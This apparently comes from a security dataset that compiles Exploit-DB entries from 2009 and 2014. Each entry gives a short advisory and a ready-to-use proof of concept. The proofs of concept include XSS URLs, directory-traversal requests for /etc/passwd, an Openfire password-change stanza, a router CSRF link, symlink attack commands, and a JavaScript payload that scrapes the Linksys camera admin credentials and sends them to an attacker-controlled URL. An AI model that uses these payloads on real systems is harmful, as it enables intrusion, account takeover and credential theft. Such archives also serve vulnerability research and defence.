QLWD/code_shield huggingface dataset:
标题: IceWarp Merak Mail Server 9.4.1 - 'cleanHTML()' Cross-Site Scripting EDB-ID: 32969 CVE: 2009-1467 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/34823/info

IceWarp Merak Mail Server is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal potentially sensitive information and launch other attacks.

<img src=&#x26;&#x23;&#x78;&#x36;&#x61;&#x3b;&#x26;&#x23;&#x78;&#x36; &#x31;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x36;&#x3b;&#x26;&#x23;&#x78; &#x36;&#x31;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x33;&#x3b;&#x26;&#x23; &#x78;&#x36;&#x33;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x32;&#x3b;&#x26; &#x23;&#x78;&#x36;&#x39;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x30;&#x3b; &#x26;&#x23;&#x78;&#x37;&#x34;&#x3b;&#x26;&#x23;&#x78;&#x33;&#x61; &#x3b;&#x26;&#x23;&#x78;&#x36;&#x31;&#x3b;&#x26;&#x23;&#x78;&#x36; &#x63;&#x3b;&#x26;&#x23;&#x78;&#x36;&#x35;&#x3b;&#x26;&#x23;&#x78; &#x37;&#x32;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x34;&#x3b;&#x26;&#x23; &#x78;&#x32;&#x38;&#x3b;&#x26;&#x23;&#x78;&#x33;&#x34;&#x3b;&#x26; &#x23;&#x78;&#x33;&#x32;&#x3b;&#x26;&#x23;&#x78;&#x32;&#x39;&#x3b;> URL: https://www.exploit-db.com/exploits/32969
标题: GlassFish Enterprise Server 2.1 - Admin Console /configuration/configuration.jsf URI Cross-Site Scripting EDB-ID: 32974 CVE: 2009-1553 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/34824/info
 
GlassFish Enterprise Server is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.
 
GlassFish Enterprise Server 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/configuration/configuration.jsf?&#039;);};alert("DSecRG_XSS");</script><!-- URL: https://www.exploit-db.com/exploits/32974
标题: Openfire 3.x - jabber:iq:auth 'passwd_change' Remote Password Change EDB-ID: 32967 CVE: 2009-1595 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-05-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/34804/info

Openfire is prone to a vulnerability that can permit an attacker to change the password of arbitrary users.

Exploiting this issue can allow the attacker to gain unauthorized access to the affected application and to completely compromise victims' accounts.

Versions prior to Openfire 3.6.4 are vulnerable.

<iq type='set' id='passwd_change'>
<query xmlns='jabber:iq:auth'>
<username>test2</username>
<password>newillegalychangedpassword</password>
</query>
</iq> URL: https://www.exploit-db.com/exploits/32967
标题: GlassFish Enterprise Server 2.1 - Admin Console /resourceNode/resources.jsf URI Cross-Site Scripting EDB-ID: 32977 CVE: 2009-1553 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/34824/info
   
GlassFish Enterprise Server is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
   
Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.
   
GlassFish Enterprise Server 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/resourceNode/resources.jsf?&#039;);};alert("DSecRG_XSS");</script><!-- URL: https://www.exploit-db.com/exploits/32977
标题: GlassFish Enterprise Server 2.1 - Admin Console '/configuration/auditModuleEdit.jsf?name' Cross-Site Scripting EDB-ID: 32980 CVE: 2009-1553 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/34824/info
      
GlassFish Enterprise Server is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
      
Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.
      
GlassFish Enterprise Server 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/configuration/auditModuleEdit.jsf?name=<IMG SRC=javascript:alert(&#039;DSecRG_XSS&#039;)> URL: https://www.exploit-db.com/exploits/32980
标题: GlassFish Enterprise Server 2.1 - Admin Console /webService/webServicesGeneral.jsf URI Cross-Site Scripting EDB-ID: 32979 CVE: 2009-1553 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/34824/info
     
GlassFish Enterprise Server is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
     
Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.
     
GlassFish Enterprise Server 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/webService/webServicesGeneral.jsf?&#039;);};alert("DSecRG_XSS");</script><!-- URL: https://www.exploit-db.com/exploits/32979
标题: GnuTLS 2.6.x - libgnutls lib/gnutls_pk.c DSA Key Storage Remote Spoofing EDB-ID: 32965 CVE: 2009-1416 类型: REMOTE 平台: LINUX 发布日期: 2009-04-30 漏洞利用脚本: // source: https://www.securityfocus.com/bid/34783/info
 
GnuTLS is prone to multiple remote vulnerabilities:
 
- A remote code-execution vulnerability
- A denial-of-service vulnerability
- A signature-generation vulnerability
- A signature-verification vulnerability
 
An attacker can exploit these issues to potentially execute arbitrary code, trigger denial-of-service conditions, carry out attacks against data signed with weak signatures, and cause clients to accept expired or invalid certificates from servers.
 
Versions prior to GnuTLS 2.6.6 are vulnerable.

/*
 * Small code to reproduce the CVE-2009-1416 bad DSA key problem.
 *
 * Build it using:
 *
 *  gcc -o cve-2009-1416 cve-2009-1416.c -lgnutls
 *
 * If your gnutls library is OK then running it will print 'success!'.
 *
 * If your gnutls library is buggy then running it will print 'buggy'.
 *
 */

#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>

#include <gcrypt.h>
#include <gnutls/gnutls.h>

int
main (void)
{
  gnutls_x509_privkey_t key;
  gnutls_datum_t p, q, g, y, x;
  int ret;

  gnutls_global_init ();
  gcry_control (GCRYCTL_ENABLE_QUICK_RANDOM, 0);

  ret = gnutls_x509_privkey_init (&key);
  if (ret < 0)
    return 1;

  ret = gnutls_x509_privkey_generate (key, GNUTLS_PK_DSA, 512, 0);
  if (ret < 0)
    return 1;

  ret = gnutls_x509_privkey_export_dsa_raw (key, &p, &q, &g, &y, &x);
  if (ret < 0)
    return 1;

  if (q.size == 3 && memcmp (q.data, "\x01\x00\x01", 3) == 0)
    printf ("buggy\n");
  else
    printf ("success!\n");

  gnutls_free (p.data);
  gnutls_free (q.data);
  gnutls_free (g.data);
  gnutls_free (y.data);
  gnutls_free (x.data);

  gnutls_x509_privkey_deinit (key);
  gnutls_global_deinit ();

  return 0;
} URL: https://www.exploit-db.com/exploits/32965
标题: MataChat - 'input.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32958 CVE: 2009-1620 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/34722/info

MataChat is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials. 

http://www.example.com/[path]/input.php?nickname=[XSS]&color=[XSS] URL: https://www.exploit-db.com/exploits/32958
标题: Coppermine Photo Gallery 1.4.21 - 'css' Cross-Site Scripting EDB-ID: 32963 CVE: 2009-1616 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/34782/info

Coppermine Photo Gallery is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Coppermine Photo Gallery 1.4.22 are vulnerable. 

http://www.example.com/docs/showdoc.php?css=1>"><ScRiPt%20%0a%0d>alert(123)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/32963
标题: Linksys WVC54GCA 1.00R22/1.00R24 (Wireless-G) - 'adm/file.cgi' Multiple Directory Traversal Vulnerabilities EDB-ID: 32954 CVE: 2009-1558 类型: REMOTE 平台: HARDWARE 发布日期: 2009-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/34713/info

Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera is prone to multiple directory-traversal vulnerabilities because the software fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues using directory-traversal strings ('../') to download arbitrary files with the privileges of the server process. Information obtained may aid in further attacks.

Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera firmware 1.00R22 and 1.00R24 are affected; other versions may also be vulnerable. 

http://www.example.com/adm/file.cgi?next_file=%2fetc%2fpasswd
http://www.example.com/adm/file.cgi?next_file=%2fetc/passwd
http://www.example.com/adm/file.cgi?next_file=%2e.%2f%2e.%2f%2e.%2f%2e.%2fetc%2fpasswd
http://www.example.com/adm/file.cgi?todo=pwnage&this_file=/etc/passwd URL: https://www.exploit-db.com/exploits/32954
标题: Linksys WVC54GCA 1.00R22/1.00R24 (Wireless-G) - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32955 CVE: 2009-1557 类型: REMOTE 平台: HARDWARE 发布日期: 2009-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/34714/info

Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera is prone to multiple cross-site scripting vulnerabilities because the software fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera firmware 1.00R22 and 1.00R24 are affected; other versions may also be vulnerable. 

http://www.example.com/adm/file.cgi?todo=xss&this_file=%3cscript%3ealert(1)%3c/script%3e
http://www.example.com/adm/file.cgi?next_file=%3Cscript%3Ealert(1)%3C/script%3E
http://www.example.com/img/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E
http://www.example.com/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E


// evil.js : malicious JS file, typically located on attacker&#039;s site
// payload description: steals Linksys WVC54GCA admin password via XSS
// tested on FF3 and IE7
// based on code from developer.apple.com
function loadXMLDoc(url) {
 req = false;
     // branch for native XMLHttpRequest object
     if(window.XMLHttpRequest && !(window.ActiveXObject)) {
      try { 
   req = new XMLHttpRequest();
         } 
  catch(e) {
   req = false;
         }
     } 
     // branch for IE/Windows ActiveX version 
 else if(window.ActiveXObject) {
         try { 
          req = new ActiveXObject("Msxml2.XMLHTTP");
        } 
  catch(e)  {
          try {
             req = new ActiveXObject("Microsoft.XMLHTTP");
          } 
   catch(e) {
             req = false;
          }
  }
     }
 if(req) {
  req.onreadystatechange = processReqChange;
  req.open("GET", url, true);
  req.send("");
 }
}
// end of loadXMLDoc(url)

function processReqChange() {
    // only if req shows "loaded"
     if (req.readyState == 4) {
         // only if "OK"
         if (req.status == 200) { 
   var bits=req.responseText.split(/\"/); 
   var gems="";
   // dirty credentials-scraping code
   for (i=0;i<bits.length;++i) { 
                                if(bits[i]=="adm" && bits[i+1]==" value=") {      
                                 gems+="login="; 
     gems+=bits[i+2];
                                }
                                if(bits[i]=="admpw" && bits[i+1]==" value=") {      
                                        gems+=&#039;&password=&#039;; 
     gems+=bits[i+2];    
                                }
   }
   alert(gems); // this line is for demo purposes only and would be removed in a real attack
   c=new Image();
   c.src=&#039;http://www.example.com/x.php?&#039;+gems; // URL should point to data-theft script on attacker&#039;s site
         } 
     }
}

var url="/adm/file.cgi?next_file=pass_wd.htm";
loadXMLDoc(url); URL: https://www.exploit-db.com/exploits/32955
标题: Mozilla Firefox 3.0.9 - 'nsTextFrame::ClearTextRun()' Remote Memory Corruption EDB-ID: 32961 CVE: 2009-1313 类型: DOS 平台: LINUX 发布日期: 2009-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/34743/info

Mozilla Firefox is prone to a remote memory-corruption vulnerability.

Successful exploits will allow remote attackers to execute arbitrary code within the context of the affected browser or crash the browser, denying service to legitimate users. 

<html><head><title> Bug 489647 - New 1.9.0.9 topcrash [@nsTextFrame::ClearTextRun()]</title></head> <body> <div id="a" style="white-space: pre;"> m</div> <script> function doe() { document.getElementById('a').childNodes[0].splitText(1); } setTimeout(doe, 100); </script> </body> </html> URL: https://www.exploit-db.com/exploits/32961
标题: Mozilla (Multiple Products) - Server Refresh Header Cross-Site Scripting EDB-ID: 32942 CVE: 2009-1312 类型: REMOTE 平台: LINUX 发布日期: 2009-04-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/34656/info

The Mozilla Foundation has released multiple security advisories specifying various vulnerabilities in Firefox, Thunderbird, and SeaMonkey.

Attackers can exploit these issues to bypass same-origin restrictions, obtain potentially sensitive information, and execute arbitrary script code with elevated privileges; other attacks are also possible. 

With request to script at web site:

http://www.example.com/script.php?param=javascript:alert(document.cookie)

Which returns in answer the refresh header:

refresh: 0; URL=javascript:alert(document.cookie) URL: https://www.exploit-db.com/exploits/32942
标题: Teracom Modem T2-B-Gawv1.4U10Y-BI - Cross-Site Request Forgery EDB-ID: 32943 CVE: 2014-10019 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-04-20 漏洞利用脚本: # Exploit Title: Teracom Modem CSRF Vulnerability
# Date: 20-04-2014
# Author: Rakesh S
# Software Link: http://www.teracom.in/
# Version:  T2-B-Gawv1.4U10Y-BI

The vulnerability exists due to insufficient validation of HTTP request origin. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage to change SSID and its password.
 
The exploitation example below changes password for the SSID:
 
 
<a href="http://[HOST]/webconfig/wlan/country.html/country?context=&wlanprofile=MIXED_G_WIFI&wlanstatus=on&country=INI&txpower=1&wlanmultitouni=on&TxRate=Automatic&chanselect=automatic&channel=8&essid=SSID&hidessid=off&security=wpa2&encryptionselect=tkip&authmethodselect=psk&wpapp=ChangePassword&pmkcaching=on&confirm=Confirm" target="myIframe">Submit</a> URL: https://www.exploit-db.com/exploits/32943
标题: DirectAdmin 1.33.3 - '/CMD_DB' Backup Action Insecure Temporary File Creation EDB-ID: 32947 CVE: 2009-1526 类型: LOCAL 平台: LINUX 发布日期: 2009-04-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/34676/info

DirectAdmin creates temporary files in an insecure manner.

An attacker with local access could potentially exploit this issue to perform symbolic link attacks to overwrite arbitrary attacker-specified files. This could facilitate a complete compromise of the affected computer.

Versions prior to DirectAdmin 1.33.4 are vulnerable. 

On server: $ ln -s /etc/poc /home/tmp/database_name.gz
On client: $ curl http://www.example.com:2222/CMD_DB/database_name.gz
On server:
$ ls -la /etc/poc
-rw-r--r-- 1 root root 514 Apr 22 09:05 /etc/poc
$ zcat /etc/poc | head -1
-- MySQL dump 10.9 URL: https://www.exploit-db.com/exploits/32947
标题: FreeBSD 7.1 - libc Berkley DB Interface Uninitialized Memory Local Information Disclosure EDB-ID: 32946 CVE: 2009-1436 类型: LOCAL 平台: FREEBSD 发布日期: 2009-01-15 漏洞利用脚本: // source: https://www.securityfocus.com/bid/34666/info

FreeBSD is prone to a local information-disclosure vulnerability.

Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks.

#include <sys/types.h>

#include <db.h>
#include <err.h>
#include <fcntl.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int
main()
{
 const char data[] = "abcd";
 DB *db;
 DBT dbt;

 /*
  * Set _malloc_options to "J" so that all memory obtained from
  * malloc(3) is iniatialized to 0x5a. See malloc(3) manual page
  * for additional information.
  */
 _malloc_options = "J";

 db = dbopen("test.db", O_RDWR | O_CREAT | O_TRUNC, 0644, DB_HASH, NULL);
 if (db == NULL)
  err(1, "dbopen()");

 dbt.data = &data;
 dbt.size = sizeof(data);

 if (db->put(db, &dbt, &dbt, 0) != 0)
  err(1, "db->put()");

 db->close(db);

 return (0);
} URL: https://www.exploit-db.com/exploits/32946
标题: Sun Java System Delegated Administrator 6.x - HTTP Response Splitting EDB-ID: 32940 CVE: 2009-1357 类型: WEBAPPS 平台: JAVA 发布日期: 2009-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/34643/info

Sun Java System Delegated Administrator is prone to an HTTP response-splitting vulnerability because it fails to sufficiently sanitize user-supplied data.

Attackers can leverage this issue to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.

The following example HTTP session is available:

$ openssl s_client -connect <server>:443

GET
/da/DA/Login?Login.HelpHREF=http://www.example.com/&com_sun_web_ui_popup=false&HELP_PAGE=/help/%0AX-Tag:%20Core%20Security%20Technologies%0A%0D&jato.pageSession=
HTTP/1.1
Host: <server>

HTTP/1.1 302 Moved Temporarily
Server: Sun-Java-System-Web-Server/7.0
Date: Mon, 20 Apr 2009 18:21:48 GMT
Cache-control: private
Location: <server>
X-Tag: Core Security Technologies
Content-length: 0
Content-type: text/htm URL: https://www.exploit-db.com/exploits/32940
标题: Online Contact Manager 3.0 - 'email.php?id' Cross-Site Scripting EDB-ID: 32935 CVE: 2009-4926 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/34626/info
  
Online Contact Manager is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
Online Contact Manager 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/email.php?id=+<script>alert(123)</script> URL: https://www.exploit-db.com/exploits/32935
标题: Online Contact Manager 3.0 - 'delete.php?id' Cross-Site Scripting EDB-ID: 32937 CVE: 2009-4926 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/34626/info
    
Online Contact Manager is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
Online Contact Manager 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/delete.php?id=+<script>alert(123)</script> URL: https://www.exploit-db.com/exploits/32937
标题: Online Contact Manager 3.0 - 'edit.php?id' Cross-Site Scripting EDB-ID: 32936 CVE: 2009-4926 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/34626/info
   
Online Contact Manager is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
Online Contact Manager 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/edit.php?id=+<script>alert(123)</script> URL: https://www.exploit-db.com/exploits/32936
标题: Trend Micro OfficeScan 8.0 Client - Denial of Service EDB-ID: 32939 CVE: 2009-1435 类型: DOS 平台: WINDOWS 发布日期: 2009-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/34642/info

The Trend Micro OfficeScan Client is prone to a denial-of-service vulnerability because it fails to handle nested directories with excessively long names.

Successfully exploits will crash the affected application, resulting in a denial-of-service condition. Given the nature of this issue, code execution may be possible, but has not been confirmed.

OfficeScan 8.0 SP1 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32939.zip URL: https://www.exploit-db.com/exploits/32939
标题: RedHat Stronghold Web Server 2.3 - Cross-Site Scripting EDB-ID: 32929 CVE: 2009-1349 类型: REMOTE 平台: LINUX 发布日期: 2009-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/34606/info

Red Hat Stronghold Web Server is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

Stronghold 2.3 is vulnerable; other versions may also be affected.

http://www.example.com/<script>alert("lol");</script> http://www.example.com/<script>window.location="http://www.google.com"</script> http://www.example.com/<body bgcolor="black"><font color="green"> URL: https://www.exploit-db.com/exploits/32929
标题: Online Photo Pro 2.0 - 'section' Cross-Site Scripting EDB-ID: 32932 CVE: 2009-4934 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/34625/info

Online Photo Pro is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

Online Photo Pro 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?section=<script>alert(123)</script> URL: https://www.exploit-db.com/exploits/32932
标题: Online Contact Manager 3.0 - 'index.php?showGroup' Cross-Site Scripting EDB-ID: 32933 CVE: 2009-4926 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/34626/info

Online Contact Manager is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Online Contact Manager 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?showGroup=+<script>alert(123)</script> URL: https://www.exploit-db.com/exploits/32933